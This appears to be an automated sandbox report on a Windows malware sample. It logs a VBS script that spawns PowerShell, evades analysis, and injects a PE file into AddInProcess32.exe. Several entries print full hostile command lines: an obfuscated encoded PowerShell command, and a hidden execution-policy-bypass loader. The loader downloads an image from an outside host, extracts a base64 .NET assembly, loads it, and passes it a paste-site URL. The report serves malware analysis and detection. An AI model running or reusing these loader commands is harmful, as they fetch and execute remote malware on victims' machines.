Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1357	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1848	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3568	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5347	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2403	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1078	Jump to behavior

Source: C:\Windows\System32\wscript.exe TID: 2524	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3412	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5992	Thread sleep count: 3568 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5992	Thread sleep count: 5347 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6436	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6808	Thread sleep count: 2403 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6808	Thread sleep count: 1078 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1544	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 824	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000003.1446297009.00000221FD1CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\D(FE
Source: wscript.exe, 00000000.00000003.1445897155.00000221FAA1B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1447787070.00000221FAA1B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWv
Source: wscript.exe, 00000000.00000002.1447983781.00000221FD120000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.1446297009.00000221FD1CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} *
Source: wscript.exe, 00000000.00000002.1447983781.00000221FD120000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}[
Source: wscript.exe, 00000000.00000003.1446340804.00000221FA9C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1447686341.00000221FA9C8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1446211624.00000221FA9C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredwBhDgTreGwDgTrebDgTreBwDgTreGEDgTrecDgTreBlDgTreHIDgTreYwBhDgTreHYDgTreZQDgTreuDgTreGMDgTrebwBtDgTreC8DgTredQB3DgTreHDgTreDgTreLwB1DgTreHcDgTrecDgTreDgTre0DgTreDIDgTreMDgTreDgTrezDgTreDkDgTreOQDgTre0DgTreC4DgTrecDgTreBuDgTreGcDgTreJwDgTre7DgTreCQDgTredwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreTgBlDgTreHcDgTreLQBPDgTreGIDgTreagBlDgTreGMDgTredDgTreDgTregDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreTgBlDgTreHQDgTreLgBXDgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBVDgTreHIDgTrebDgTreDgTrepDgTreDsDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreG

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 404000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 416000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 11CE008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredwBhDgTreGwDgTrebDgTreBwDgTreGEDgTrecDgTreBlDgTreHIDgTreYwBhDgTreHYDgTreZQDgTreuDgTreGMDgTrebwBtDgTreC8DgTredQB3DgTreHDgTreDgTreLwB1DgTreHcDgTrecDgTreDgTre0DgTreDIDgTreMDgTreDgTrezDgTreDkDgTreOQDgTre0DgTreC4DgTrecDgTreBuDgTreGcDgTreJwDgTre7DgTreCQDgTredwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreTgBlDgTreHcDgTreLQBPDgTreGIDgTreagBlDgTreGMDgTredDgTreDgTregDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreTgBlDgTreHQDgTreLgBXDgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBVDgTreHIDgTrebDgTreDgTrepDgTreDsDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreG	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4203994.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Aspose.DrawingSpec.PkikAttrCertNB');$method = $type.GetMethod('Run').Invoke($null, [object[]] ('https://paste.fo/raw/a74d3ed54ba1?download' , 'desativado' , '2' , 'VbsName' , '1' , 'C:\ProgramData\', 'LnkName','AddInProcess32','desativado','desativado','desativado'))	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Desusertion C:\ProgramData\VbsName.vbs	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "$codigo = 'jdgtrebpdgtreg0dgtreyqbndgtregudgtrevqbydgtregwdgtreidgtredgtre9dgtrecdgtredgtrejwbodgtrehqdgtreddgtrebwdgtrehmdgtreogdgtrevdgtrec8dgtredwbhdgtregwdgtrebdgtrebwdgtregedgtrecdgtrebldgtrehidgtreywbhdgtrehydgtrezqdgtreudgtregmdgtrebwbtdgtrec8dgtredqb3dgtrehdgtredgtrelwb1dgtrehcdgtrecdgtredgtre0dgtredidgtremdgtredgtrezdgtredkdgtreoqdgtre0dgtrec4dgtrecdgtrebudgtregcdgtrejwdgtre7dgtrecqdgtredwbldgtregidgtreqwbsdgtregkdgtrezqbudgtrehqdgtreidgtredgtre9dgtrecdgtredgtretgbldgtrehcdgtrelqbpdgtregidgtreagbldgtregmdgtreddgtredgtregdgtrefmdgtreeqbzdgtrehqdgtrezqbtdgtrec4dgtretgbldgtrehqdgtrelgbxdgtregudgtreygbddgtregwdgtreaqbldgtreg4dgtreddgtredgtre7dgtrecqdgtreaqbtdgtregedgtrezwbldgtreeidgtreeqb0dgtregudgtrecwdgtregdgtred0dgtreidgtredgtrekdgtrehcdgtrezqbidgtreemdgtrebdgtrebpdgtregudgtrebgb0dgtrec4dgtrerdgtrebvdgtrehcdgtrebgbsdgtreg8dgtreyqbkdgtreeqdgtreyqb0dgtregedgtrekdgtredgtrekdgtregkdgtrebqbhdgtregcdgtrezqbvdgtrehidgtrebdgtredgtrepdgtredsdgtrejdgtrebpdgtreg0dgtreyqbndgtregudgtrevdgtrebldgtrehgdgtreddgtredgtregdgtred0dgtreidgtrebbdgtrefmdgtreeqbzdgtrehqdgtrezqbtdgtrec4dgtrevdgtrebldgtrehgdgtreddgtredgtreudgtreeudgtrebgbjdgtreg8dgtrezdgtrebpdgtreg4dgtrezwbddgtredodgtreogbvdgtrefqdgtrergdgtre4dgtrec4dgtrerwbldgtrehqdgtreuwb0dgtrehidgtreaqbudgtregcdgtrekdgtredgtrekdgtregkdgtrebqbhdgtregcdgtrezqbcdgtrehkdgtreddgtrebldgtrehmdgtrekqdgtre7dgtrecqdgtrecwb0dgtregedgtrecgb0dgtreeydgtrebdgtrebhdgtregcdgtreidgtredgtre9dgtrecdgtredgtrejwdgtre8dgtredwdgtreqgbbdgtrefmdgtrerqdgtre2dgtredqdgtrexwbtdgtrefqdgtreqqbsdgtrefqdgtrepgdgtre+dgtreccdgtreowdgtrekdgtregudgtrebgbkdgtreeydgtrebdgtrebhdgtregcdgtreidgtredgtre9dgtrecdgtredgtrejwdgtre8dgtredwdgtreqgbbdgtrefmdgtrerqdgtre2dgtredqdgtrexwbfdgtree4dgtrerdgtredgtre+dgtred4dgtrejwdgtre7dgtrecqdgtrecwb0dgtregedgtrecgb0dgtreekdgtrebgbkdgtregudgtreedgtredgtregdgtred0dgtreidgtredgtrekdgtregkdgtrebqbhdgtregcdgtrezqbudgtregudgtreedgtreb0dgtrec4dgtresqbudgtregqd